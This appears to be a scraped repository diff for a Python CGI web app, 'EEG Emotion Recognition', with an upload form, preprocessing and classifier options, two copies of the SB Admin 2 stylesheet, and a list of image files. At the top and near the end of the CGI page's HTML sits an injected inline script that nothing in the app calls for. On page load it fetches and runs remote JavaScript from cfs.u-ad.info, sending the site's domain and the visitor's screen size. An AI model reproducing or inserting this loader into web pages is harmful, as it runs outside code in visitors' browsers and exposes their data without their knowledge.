<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request" + "?id=1" + "&enc=telkom2" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582AaN6h071sG%2bJBYpJxd3JQSJs5mE8iAmw8USIyYDWcoVFc08gzCE8COQRBhCpHI1yC7skRDV9qYyHsdUIk2Qeh5fEPTGf2w%2fAexeHwBBM3qJNrfxOqlDLyX3udt7TqoNReDfIBn%2brVy%2bXEPB%2b8EBADsI1Ky5R%2bmMT%2bW5f4GztEj2O1tiud%2fhA1eRZDOA8mmhJtYMcL69A3eIK5GA8GaovnIqpEW%2fPvjHtnKIurfETIYf5ayMxYzYN1lED6XS%2fAb6PcLJr28pYQzmnhFa2BHbEg%2fIb0A3%2f%2fYokQpvFnkvQ2zFr6zcNU%2fELwAzWrxpSfHdjc3rc78s27Iqzcz57H00Dc%2fRd92Mw%2bWRClG4%2byxeuot%2ftTqeWWP%2fTPr3cJfjysdCW%2bsf7hgbZmIcOA4Gl3LH5ARvUDlRwAz786LT4TDlM0MvS7YhQtdY8Vai4ZoPeSWwCWp76PIQqYPRApUAKtS66EuHlmVHgcIdtNFspNfcV3Ro5%2ftCVEqnASugmE87PJkncpxnP6cGCRbSwOA7JshwR8RDsEF69XUIk2tn%2fH1MBTJUaONMqI5Vb4Fnuk1G37GFI6Ne3Myq3qQ4SC2RcISIMse5oG55mTQe%2bFhZFcAw27fh" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
|
||||
|
||||
</html>'''
|
||||
@@ -0,0 +1,148 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
# Import modules for CGI handling
|
||||
import cgi, cgitb
|
||||
|
||||
|
||||
print "Content-type: text/html\n"
|
||||
|
||||
print '''<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta name="description" content="">
|
||||
<meta name="author" content="">
|
||||
|
||||
<title>EEG Emotion Recognition</title>
|
||||
|
||||
<!-- Bootstrap Core CSS -->
|
||||
<link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/bootstrap/dist/css/bootstrap.min.css" rel="stylesheet">
|
||||
|
||||
<!-- MetisMenu CSS -->
|
||||
<link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/metisMenu/dist/metisMenu.min.css" rel="stylesheet">
|
||||
|
||||
<!-- Timeline CSS -->
|
||||
<link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/dist/css/timeline.css" rel="stylesheet">
|
||||
|
||||
<!-- Custom CSS -->
|
||||
<link href="../css/dashboard.css" rel="stylesheet">
|
||||
|
||||
<!-- Morris Charts CSS -->
|
||||
<link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/morrisjs/morris.css" rel="stylesheet">
|
||||
|
||||
<!-- Custom Fonts -->
|
||||
<link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">
|
||||
|
||||
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
|
||||
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
|
||||
<!--[if lt IE 9]>
|
||||
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
|
||||
<script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
|
||||
<![endif]-->
|
||||
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<div id="wrapper">
|
||||
|
||||
|
||||
|
||||
<div id="page-wrapper">
|
||||
<div class="row">
|
||||
<div class="col-lg-12">
|
||||
<a href="index.py" style="text-decoration:none;color: #000;"><h1 class="page-header text-center">EEG Emotion Recognition</h1></a>
|
||||
</div>
|
||||
<!-- /.col-lg-12 -->
|
||||
</div>
|
||||
<!-- /.row -->
|
||||
<div class="row">
|
||||
<div class="col-lg-2"></div>
|
||||
<div class="col-lg-8">
|
||||
<div class="panel panel-info">
|
||||
<div class="panel-heading">
|
||||
Input File
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<form action="predict.py" method="POST">
|
||||
<div class="form-group">
|
||||
<label>Choose file to predict ! </label>
|
||||
<input type="file" name="file_input">
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label>Preprocessing Method</label>
|
||||
<div class="radio">
|
||||
<label>
|
||||
<input type="radio" name="preprocessing_method" value="fft" checked>Fast Fourier Transform
|
||||
</label>
|
||||
</div>
|
||||
<div class="radio">
|
||||
<label>
|
||||
<input type="radio" name="preprocessing_method" value="ica_fft">Independent Component Analysis & Fast Fourier Transform
|
||||
</label>
|
||||
</div>
|
||||
<div class="radio">
|
||||
<label>
|
||||
<input type="radio" name="preprocessing_method" value="swt">Stationery Wavelet Transform
|
||||
</label>
|
||||
</div>
|
||||
<div class="radio">
|
||||
<label>
|
||||
<input type="radio" name="preprocessing_method" value="ica_swt">Independent Component Analysis & Stationery Wavelet Transform
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<label>Classification Method</label>
|
||||
<div class="radio">
|
||||
<label>
|
||||
<input type="radio" name="classification_method" value="svm" checked>Support Vector Machine
|
||||
</label>
|
||||
</div>
|
||||
<div class="radio">
|
||||
<label>
|
||||
<input type="radio" name="classification_method" value="knn">K-Nearest Neighbord
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
<button type="submit" class="btn btn-primary">Predict File</button>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- /.col-lg-4 -->
|
||||
<div class="col-lg-2"></div>
|
||||
</div>
|
||||
<!-- /.row -->
|
||||
|
||||
|
||||
</div>
|
||||
<!-- /#page-wrapper -->
|
||||
|
||||
</div>
|
||||
<!-- /#wrapper -->
|
||||
|
||||
<!-- jQuery -->
|
||||
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/jquery/dist/jquery.min.js"></script>
|
||||
|
||||
<!-- Bootstrap Core JavaScript -->
|
||||
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/bootstrap/dist/js/bootstrap.min.js"></script>
|
||||
|
||||
<!-- Metis Menu Plugin JavaScript -->
|
||||
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/metisMenu/dist/metisMenu.min.js"></script>
|
||||
|
||||
<!-- Morris Charts JavaScript -->
|
||||
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/raphael/raphael-min.js"></script>
|
||||
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/morrisjs/morris.min.js"></script>
|
||||
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/js/morris-data.js"></script>
|
||||
|
||||
<!-- Custom Theme JavaScript -->
|
||||
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/dist/js/sb-admin-2.js"></script>
|
||||
|
||||
<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request" + "?id=1" + "&enc=telkom2" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582AaN6h071sG%2bJBYpJxd3JQSJs5mE8iAmw8USIyYDWcoVFc08gzCE8COQRBhCpHI1yC7skRDV9qYyHsdUIk2Qeh5fEPTGf2w%2fAexeHwBBM3qJNrfxOqlDLyX3udt7TqoNReDfIBn%2brVy%2bXEPB%2b8EBADsI1Ky5R%2bmMT%2bW5f4GztEj2O1tiud%2fhA1eRZDOA8mmhJtYMcL69A3eIK5GA8GaovnIqpEW%2fPvjHtnKIurfETIYf5ayMxYzYN1lED6XS%2fAb6PcLJr28pYQzmnhFa2BHbEg%2fIb0A3%2f%2fYokQpvFnkvQ2zFr6zcNU%2fELwAzWrxpSfHdjc3rc78s27Iqzcz57H00Dc%2fRd92Mw%2bWRClG4%2byxeuot%2ftTqeWWP%2fTPr3cJfjysdCW%2bsf7hgbZmIcOA4Gl3LH5ARvUDlRwAz786LT4TDlM0MvS7YhQtdY8Vai4ZoPeSWwCWp76PIQqYPRApUAKtS66EuHlmVHgcIdtNFspNfcV3Ro5%2ftCVEqnASugmE87PJkncpxnP6cGCRbSwOA7JshwR8RDsEF69XUIk2tn%2fH1MBTJUaONMqI5Vb4Fnuk1G37GFI6Ne3Myq3qQ4SC2RcISIMse5oG55mTQe%2bFhZFcAw27fh" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
|
||||
|
||||
</html>'''
|
||||
@@ -0,0 +1,359 @@
|
||||
/*!
|
||||
* Start Bootstrap - SB Admin 2 Bootstrap Admin Theme (http://startbootstrap.com)
|
||||
* Code licensed under the Apache License v2.0.
|
||||
* For details, see http://www.apache.org/licenses/LICENSE-2.0.
|
||||
*/
|
||||
|
||||
body {
|
||||
background-color: #f8f8f8;
|
||||
}
|
||||
|
||||
#wrapper {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
#page-wrapper {
|
||||
padding: 0 15px;
|
||||
min-height: 568px;
|
||||
background-color: #fff;
|
||||
}
|
||||
|
||||
.text-center {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
@media(min-width:768px) {
|
||||
#page-wrapper {
|
||||
position: inherit;
|
||||
margin: 0 00px;
|
||||
padding: 0 30px;
|
||||
border-left: 1px solid #e7e7e7;
|
||||
border-right: 1px solid #e7e7e7;
|
||||
}
|
||||
}
|
||||
|
||||
.navbar-top-links {
|
||||
margin-right: 0;
|
||||
}
|
||||
|
||||
.navbar-top-links li {
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
.navbar-top-links li:last-child {
|
||||
margin-right: 15px;
|
||||
}
|
||||
|
||||
.navbar-top-links li a {
|
||||
padding: 15px;
|
||||
min-height: 50px;
|
||||
}
|
||||
|
||||
.navbar-top-links .dropdown-menu li {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.navbar-top-links .dropdown-menu li:last-child {
|
||||
margin-right: 0;
|
||||
}
|
||||
|
||||
.navbar-top-links .dropdown-menu li a {
|
||||
padding: 3px 20px;
|
||||
min-height: 0;
|
||||
}
|
||||
|
||||
.navbar-top-links .dropdown-menu li a div {
|
||||
white-space: normal;
|
||||
}
|
||||
|
||||
.navbar-top-links .dropdown-messages,
|
||||
.navbar-top-links .dropdown-tasks,
|
||||
.navbar-top-links .dropdown-alerts {
|
||||
width: 310px;
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.navbar-top-links .dropdown-messages {
|
||||
margin-left: 5px;
|
||||
}
|
||||
|
||||
.navbar-top-links .dropdown-tasks {
|
||||
margin-left: -59px;
|
||||
}
|
||||
|
||||
.navbar-top-links .dropdown-alerts {
|
||||
margin-left: -123px;
|
||||
}
|
||||
|
||||
.navbar-top-links .dropdown-user {
|
||||
right: 0;
|
||||
left: auto;
|
||||
}
|
||||
|
||||
.sidebar .sidebar-nav.navbar-collapse {
|
||||
padding-right: 0;
|
||||
padding-left: 0;
|
||||
}
|
||||
|
||||
.sidebar .sidebar-search {
|
||||
padding: 15px;
|
||||
}
|
||||
|
||||
.sidebar ul li {
|
||||
border-bottom: 1px solid #e7e7e7;
|
||||
}
|
||||
|
||||
.sidebar ul li a.active {
|
||||
background-color: #eee;
|
||||
}
|
||||
|
||||
.sidebar .arrow {
|
||||
float: right;
|
||||
}
|
||||
|
||||
.sidebar .fa.arrow:before {
|
||||
content: "\f104";
|
||||
}
|
||||
|
||||
.sidebar .active>a>.fa.arrow:before {
|
||||
content: "\f107";
|
||||
}
|
||||
|
||||
.sidebar .nav-second-level li,
|
||||
.sidebar .nav-third-level li {
|
||||
border-bottom: 0!important;
|
||||
}
|
||||
|
||||
.sidebar .nav-second-level li a {
|
||||
padding-left: 37px;
|
||||
}
|
||||
|
||||
.sidebar .nav-third-level li a {
|
||||
padding-left: 52px;
|
||||
}
|
||||
|
||||
@media(min-width:768px) {
|
||||
.sidebar {
|
||||
z-index: 1;
|
||||
position: absolute;
|
||||
width: 250px;
|
||||
margin-top: 51px;
|
||||
}
|
||||
|
||||
.navbar-top-links .dropdown-messages,
|
||||
.navbar-top-links .dropdown-tasks,
|
||||
.navbar-top-links .dropdown-alerts {
|
||||
margin-left: auto;
|
||||
}
|
||||
}
|
||||
|
||||
.btn-outline {
|
||||
color: inherit;
|
||||
background-color: transparent;
|
||||
transition: all .5s;
|
||||
}
|
||||
|
||||
.btn-primary.btn-outline {
|
||||
color: #428bca;
|
||||
}
|
||||
|
||||
.btn-success.btn-outline {
|
||||
color: #5cb85c;
|
||||
}
|
||||
|
||||
.btn-info.btn-outline {
|
||||
color: #5bc0de;
|
||||
}
|
||||
|
||||
.btn-warning.btn-outline {
|
||||
color: #f0ad4e;
|
||||
}
|
||||
|
||||
.btn-danger.btn-outline {
|
||||
color: #d9534f;
|
||||
}
|
||||
|
||||
.btn-primary.btn-outline:hover,
|
||||
.btn-success.btn-outline:hover,
|
||||
.btn-info.btn-outline:hover,
|
||||
.btn-warning.btn-outline:hover,
|
||||
.btn-danger.btn-outline:hover {
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.chat {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
list-style: none;
|
||||
}
|
||||
|
||||
.chat li {
|
||||
margin-bottom: 10px;
|
||||
padding-bottom: 5px;
|
||||
border-bottom: 1px dotted #999;
|
||||
}
|
||||
|
||||
.chat li.left .chat-body {
|
||||
margin-left: 60px;
|
||||
}
|
||||
|
||||
.chat li.right .chat-body {
|
||||
margin-right: 60px;
|
||||
}
|
||||
|
||||
.chat li .chat-body p {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.panel .slidedown .glyphicon,
|
||||
.chat .glyphicon {
|
||||
margin-right: 5px;
|
||||
}
|
||||
|
||||
.chat-panel .panel-body {
|
||||
height: 350px;
|
||||
overflow-y: scroll;
|
||||
}
|
||||
|
||||
.login-panel {
|
||||
margin-top: 25%;
|
||||
}
|
||||
|
||||
.flot-chart {
|
||||
display: block;
|
||||
height: 400px;
|
||||
}
|
||||
|
||||
.flot-chart-content {
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
}
|
||||
|
||||
.dataTables_wrapper {
|
||||
position: relative;
|
||||
clear: both;
|
||||
}
|
||||
|
||||
table.dataTable thead .sorting,
|
||||
table.dataTable thead .sorting_asc,
|
||||
table.dataTable thead .sorting_desc,
|
||||
table.dataTable thead .sorting_asc_disabled,
|
||||
table.dataTable thead .sorting_desc_disabled {
|
||||
background: 0 0;
|
||||
}
|
||||
|
||||
table.dataTable thead .sorting_asc:after {
|
||||
content: "\f0de";
|
||||
float: right;
|
||||
font-family: fontawesome;
|
||||
}
|
||||
|
||||
table.dataTable thead .sorting_desc:after {
|
||||
content: "\f0dd";
|
||||
float: right;
|
||||
font-family: fontawesome;
|
||||
}
|
||||
|
||||
table.dataTable thead .sorting:after {
|
||||
content: "\f0dc";
|
||||
float: right;
|
||||
font-family: fontawesome;
|
||||
color: rgba(50,50,50,.5);
|
||||
}
|
||||
|
||||
.btn-circle {
|
||||
width: 30px;
|
||||
height: 30px;
|
||||
padding: 6px 0;
|
||||
border-radius: 15px;
|
||||
text-align: center;
|
||||
font-size: 12px;
|
||||
line-height: 1.428571429;
|
||||
}
|
||||
|
||||
.btn-circle.btn-lg {
|
||||
width: 50px;
|
||||
height: 50px;
|
||||
padding: 10px 16px;
|
||||
border-radius: 25px;
|
||||
font-size: 18px;
|
||||
line-height: 1.33;
|
||||
}
|
||||
|
||||
.btn-circle.btn-xl {
|
||||
width: 70px;
|
||||
height: 70px;
|
||||
padding: 10px 16px;
|
||||
border-radius: 35px;
|
||||
font-size: 24px;
|
||||
line-height: 1.33;
|
||||
}
|
||||
|
||||
.show-grid [class^=col-] {
|
||||
padding-top: 10px;
|
||||
padding-bottom: 10px;
|
||||
border: 1px solid #ddd;
|
||||
background-color: #eee!important;
|
||||
}
|
||||
|
||||
.show-grid {
|
||||
margin: 15px 0;
|
||||
}
|
||||
|
||||
.huge {
|
||||
font-size: 40px;
|
||||
}
|
||||
|
||||
.panel-green {
|
||||
border-color: #5cb85c;
|
||||
}
|
||||
|
||||
.panel-green .panel-heading {
|
||||
border-color: #5cb85c;
|
||||
color: #fff;
|
||||
background-color: #5cb85c;
|
||||
}
|
||||
|
||||
.panel-green a {
|
||||
color: #5cb85c;
|
||||
}
|
||||
|
||||
.panel-green a:hover {
|
||||
color: #3d8b3d;
|
||||
}
|
||||
|
||||
.panel-red {
|
||||
border-color: #d9534f;
|
||||
}
|
||||
|
||||
.panel-red .panel-heading {
|
||||
border-color: #d9534f;
|
||||
color: #fff;
|
||||
background-color: #d9534f;
|
||||
}
|
||||
|
||||
.panel-red a {
|
||||
color: #d9534f;
|
||||
}
|
||||
|
||||
.panel-red a:hover {
|
||||
color: #b52b27;
|
||||
}
|
||||
|
||||
.panel-yellow {
|
||||
border-color: #f0ad4e;
|
||||
}
|
||||
|
||||
.panel-yellow .panel-heading {
|
||||
border-color: #f0ad4e;
|
||||
color: #fff;
|
||||
background-color: #f0ad4e;
|
||||
}
|
||||
|
||||
.panel-yellow a {
|
||||
color: #f0ad4e;
|
||||
}
|
||||
|
||||
.panel-yellow a:hover {
|
||||
color: #df8a13;
|
||||
}
|
||||
@@ -0,0 +1,359 @@
|
||||
/*!
|
||||
* Start Bootstrap - SB Admin 2 Bootstrap Admin Theme (http://startbootstrap.com)
|
||||
* Code licensed under the Apache License v2.0.
|
||||
* For details, see http://www.apache.org/licenses/LICENSE-2.0.
|
||||
*/
|
||||
|
||||
body {
|
||||
background-color: #f8f8f8;
|
||||
}
|
||||
|
||||
#wrapper {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
#page-wrapper {
|
||||
padding: 0 15px;
|
||||
min-height: 568px;
|
||||
background-color: #fff;
|
||||
}
|
||||
|
||||
.text-center {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
@media(min-width:768px) {
|
||||
#page-wrapper {
|
||||
position: inherit;
|
||||
margin: 0 200px;
|
||||
padding: 0 30px;
|
||||
border-left: 1px solid #e7e7e7;
|
||||
border-right: 1px solid #e7e7e7;
|
||||
}
|
||||
}
|
||||
|
||||
.navbar-top-links {
|
||||
margin-right: 0;
|
||||
}
|
||||
|
||||
.navbar-top-links li {
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
.navbar-top-links li:last-child {
|
||||
margin-right: 15px;
|
||||
}
|
||||
|
||||
.navbar-top-links li a {
|
||||
padding: 15px;
|
||||
min-height: 50px;
|
||||
}
|
||||
|
||||
.navbar-top-links .dropdown-menu li {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.navbar-top-links .dropdown-menu li:last-child {
|
||||
margin-right: 0;
|
||||
}
|
||||
|
||||
.navbar-top-links .dropdown-menu li a {
|
||||
padding: 3px 20px;
|
||||
min-height: 0;
|
||||
}
|
||||
|
||||
.navbar-top-links .dropdown-menu li a div {
|
||||
white-space: normal;
|
||||
}
|
||||
|
||||
.navbar-top-links .dropdown-messages,
|
||||
.navbar-top-links .dropdown-tasks,
|
||||
.navbar-top-links .dropdown-alerts {
|
||||
width: 310px;
|
||||
min-width: 0;
|
||||
}
|
||||
|
||||
.navbar-top-links .dropdown-messages {
|
||||
margin-left: 5px;
|
||||
}
|
||||
|
||||
.navbar-top-links .dropdown-tasks {
|
||||
margin-left: -59px;
|
||||
}
|
||||
|
||||
.navbar-top-links .dropdown-alerts {
|
||||
margin-left: -123px;
|
||||
}
|
||||
|
||||
.navbar-top-links .dropdown-user {
|
||||
right: 0;
|
||||
left: auto;
|
||||
}
|
||||
|
||||
.sidebar .sidebar-nav.navbar-collapse {
|
||||
padding-right: 0;
|
||||
padding-left: 0;
|
||||
}
|
||||
|
||||
.sidebar .sidebar-search {
|
||||
padding: 15px;
|
||||
}
|
||||
|
||||
.sidebar ul li {
|
||||
border-bottom: 1px solid #e7e7e7;
|
||||
}
|
||||
|
||||
.sidebar ul li a.active {
|
||||
background-color: #eee;
|
||||
}
|
||||
|
||||
.sidebar .arrow {
|
||||
float: right;
|
||||
}
|
||||
|
||||
.sidebar .fa.arrow:before {
|
||||
content: "\f104";
|
||||
}
|
||||
|
||||
.sidebar .active>a>.fa.arrow:before {
|
||||
content: "\f107";
|
||||
}
|
||||
|
||||
.sidebar .nav-second-level li,
|
||||
.sidebar .nav-third-level li {
|
||||
border-bottom: 0!important;
|
||||
}
|
||||
|
||||
.sidebar .nav-second-level li a {
|
||||
padding-left: 37px;
|
||||
}
|
||||
|
||||
.sidebar .nav-third-level li a {
|
||||
padding-left: 52px;
|
||||
}
|
||||
|
||||
@media(min-width:768px) {
|
||||
.sidebar {
|
||||
z-index: 1;
|
||||
position: absolute;
|
||||
width: 250px;
|
||||
margin-top: 51px;
|
||||
}
|
||||
|
||||
.navbar-top-links .dropdown-messages,
|
||||
.navbar-top-links .dropdown-tasks,
|
||||
.navbar-top-links .dropdown-alerts {
|
||||
margin-left: auto;
|
||||
}
|
||||
}
|
||||
|
||||
.btn-outline {
|
||||
color: inherit;
|
||||
background-color: transparent;
|
||||
transition: all .5s;
|
||||
}
|
||||
|
||||
.btn-primary.btn-outline {
|
||||
color: #428bca;
|
||||
}
|
||||
|
||||
.btn-success.btn-outline {
|
||||
color: #5cb85c;
|
||||
}
|
||||
|
||||
.btn-info.btn-outline {
|
||||
color: #5bc0de;
|
||||
}
|
||||
|
||||
.btn-warning.btn-outline {
|
||||
color: #f0ad4e;
|
||||
}
|
||||
|
||||
.btn-danger.btn-outline {
|
||||
color: #d9534f;
|
||||
}
|
||||
|
||||
.btn-primary.btn-outline:hover,
|
||||
.btn-success.btn-outline:hover,
|
||||
.btn-info.btn-outline:hover,
|
||||
.btn-warning.btn-outline:hover,
|
||||
.btn-danger.btn-outline:hover {
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.chat {
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
list-style: none;
|
||||
}
|
||||
|
||||
.chat li {
|
||||
margin-bottom: 10px;
|
||||
padding-bottom: 5px;
|
||||
border-bottom: 1px dotted #999;
|
||||
}
|
||||
|
||||
.chat li.left .chat-body {
|
||||
margin-left: 60px;
|
||||
}
|
||||
|
||||
.chat li.right .chat-body {
|
||||
margin-right: 60px;
|
||||
}
|
||||
|
||||
.chat li .chat-body p {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.panel .slidedown .glyphicon,
|
||||
.chat .glyphicon {
|
||||
margin-right: 5px;
|
||||
}
|
||||
|
||||
.chat-panel .panel-body {
|
||||
height: 350px;
|
||||
overflow-y: scroll;
|
||||
}
|
||||
|
||||
.login-panel {
|
||||
margin-top: 25%;
|
||||
}
|
||||
|
||||
.flot-chart {
|
||||
display: block;
|
||||
height: 400px;
|
||||
}
|
||||
|
||||
.flot-chart-content {
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
}
|
||||
|
||||
.dataTables_wrapper {
|
||||
position: relative;
|
||||
clear: both;
|
||||
}
|
||||
|
||||
table.dataTable thead .sorting,
|
||||
table.dataTable thead .sorting_asc,
|
||||
table.dataTable thead .sorting_desc,
|
||||
table.dataTable thead .sorting_asc_disabled,
|
||||
table.dataTable thead .sorting_desc_disabled {
|
||||
background: 0 0;
|
||||
}
|
||||
|
||||
table.dataTable thead .sorting_asc:after {
|
||||
content: "\f0de";
|
||||
float: right;
|
||||
font-family: fontawesome;
|
||||
}
|
||||
|
||||
table.dataTable thead .sorting_desc:after {
|
||||
content: "\f0dd";
|
||||
float: right;
|
||||
font-family: fontawesome;
|
||||
}
|
||||
|
||||
table.dataTable thead .sorting:after {
|
||||
content: "\f0dc";
|
||||
float: right;
|
||||
font-family: fontawesome;
|
||||
color: rgba(50,50,50,.5);
|
||||
}
|
||||
|
||||
.btn-circle {
|
||||
width: 30px;
|
||||
height: 30px;
|
||||
padding: 6px 0;
|
||||
border-radius: 15px;
|
||||
text-align: center;
|
||||
font-size: 12px;
|
||||
line-height: 1.428571429;
|
||||
}
|
||||
|
||||
.btn-circle.btn-lg {
|
||||
width: 50px;
|
||||
height: 50px;
|
||||
padding: 10px 16px;
|
||||
border-radius: 25px;
|
||||
font-size: 18px;
|
||||
line-height: 1.33;
|
||||
}
|
||||
|
||||
.btn-circle.btn-xl {
|
||||
width: 70px;
|
||||
height: 70px;
|
||||
padding: 10px 16px;
|
||||
border-radius: 35px;
|
||||
font-size: 24px;
|
||||
line-height: 1.33;
|
||||
}
|
||||
|
||||
.show-grid [class^=col-] {
|
||||
padding-top: 10px;
|
||||
padding-bottom: 10px;
|
||||
border: 1px solid #ddd;
|
||||
background-color: #eee!important;
|
||||
}
|
||||
|
||||
.show-grid {
|
||||
margin: 15px 0;
|
||||
}
|
||||
|
||||
.huge {
|
||||
font-size: 40px;
|
||||
}
|
||||
|
||||
.panel-green {
|
||||
border-color: #5cb85c;
|
||||
}
|
||||
|
||||
.panel-green .panel-heading {
|
||||
border-color: #5cb85c;
|
||||
color: #fff;
|
||||
background-color: #5cb85c;
|
||||
}
|
||||
|
||||
.panel-green a {
|
||||
color: #5cb85c;
|
||||
}
|
||||
|
||||
.panel-green a:hover {
|
||||
color: #3d8b3d;
|
||||
}
|
||||
|
||||
.panel-red {
|
||||
border-color: #d9534f;
|
||||
}
|
||||
|
||||
.panel-red .panel-heading {
|
||||
border-color: #d9534f;
|
||||
color: #fff;
|
||||
background-color: #d9534f;
|
||||
}
|
||||
|
||||
.panel-red a {
|
||||
color: #d9534f;
|
||||
}
|
||||
|
||||
.panel-red a:hover {
|
||||
color: #b52b27;
|
||||
}
|
||||
|
||||
.panel-yellow {
|
||||
border-color: #f0ad4e;
|
||||
}
|
||||
|
||||
.panel-yellow .panel-heading {
|
||||
border-color: #f0ad4e;
|
||||
color: #fff;
|
||||
background-color: #f0ad4e;
|
||||
}
|
||||
|
||||
.panel-yellow a {
|
||||
color: #f0ad4e;
|
||||
}
|
||||
|
||||
.panel-yellow a:hover {
|
||||
color: #df8a13;
|
||||
}
|
||||
|
Depois Largura: | Altura: | Tamanho: 17 KiB |
|
Depois Largura: | Altura: | Tamanho: 45 KiB |
|
Depois Largura: | Altura: | Tamanho: 46 KiB |
|
Depois Largura: | Altura: | Tamanho: 8.1 KiB |
|
Depois Largura: | Altura: | Tamanho: 7.6 KiB |
|
Depois Largura: | Altura: | Tamanho: 46 KiB |
|
Depois Largura: | Altura: | Tamanho: 45 KiB |
|
Depois Largura: | Altura: | Tamanho: 7.9 KiB |
|
Depois Largura: | Altura: | Tamanho: 46 KiB |
|
Depois Largura: | Altura: | Tamanho: 26 KiB |
|
Depois Largura: | Altura: | Tamanho: 43 KiB |
|
Depois Largura: | Altura: | Tamanho: 25 KiB |
|
Depois Largura: | Altura: | Tamanho: 34 KiB |
|
Depois Largura: | Altura: | Tamanho: 28 KiB |
|
Depois Largura: | Altura: | Tamanho: 71 KiB |
|
Depois Largura: | Altura: | Tamanho: 30 KiB |
|
Depois Largura: | Altura: | Tamanho: 29 KiB |
|
Depois Largura: | Altura: | Tamanho: 28 KiB |
|
Depois Largura: | Altura: | Tamanho: 30 KiB |
|
Depois Largura: | Altura: | Tamanho: 29 KiB |
|
Depois Largura: | Altura: | Tamanho: 30 KiB |
|
Depois Largura: | Altura: | Tamanho: 30 KiB |
|
Depois Largura: | Altura: | Tamanho: 29 KiB |
|
Depois Largura: | Altura: | Tamanho: 30 KiB |
|
Depois Largura: | Altura: | Tamanho: 29 KiB |
|
Depois Largura: | Altura: | Tamanho: 29 KiB |
|
Depois Largura: | Altura: | Tamanho: 29 KiB |
|
Depois Largura: | Altura: | Tamanho: 29 KiB |
|
Depois Largura: | Altura: | Tamanho: 30 KiB |
|
Depois Largura: | Altura: | Tamanho: 46 KiB |
|
Depois Largura: | Altura: | Tamanho: 48 KiB |
|
Depois Largura: | Altura: | Tamanho: 49 KiB |
|
Depois Largura: | Altura: | Tamanho: 47 KiB |
|
Depois Largura: | Altura: | Tamanho: 51 KiB |
|
Depois Largura: | Altura: | Tamanho: 41 KiB |
|
Depois Largura: | Altura: | Tamanho: 42 KiB |
|
Depois Largura: | Altura: | Tamanho: 51 KiB |
|
Depois Largura: | Altura: | Tamanho: 50 KiB |
|
Depois Largura: | Altura: | Tamanho: 49 KiB |
|
Depois Largura: | Altura: | Tamanho: 50 KiB |
|
Depois Largura: | Altura: | Tamanho: 48 KiB |
|
Depois Largura: | Altura: | Tamanho: 52 KiB |
|
Depois Largura: | Altura: | Tamanho: 52 KiB |
|
Depois Largura: | Altura: | Tamanho: 30 KiB |
|
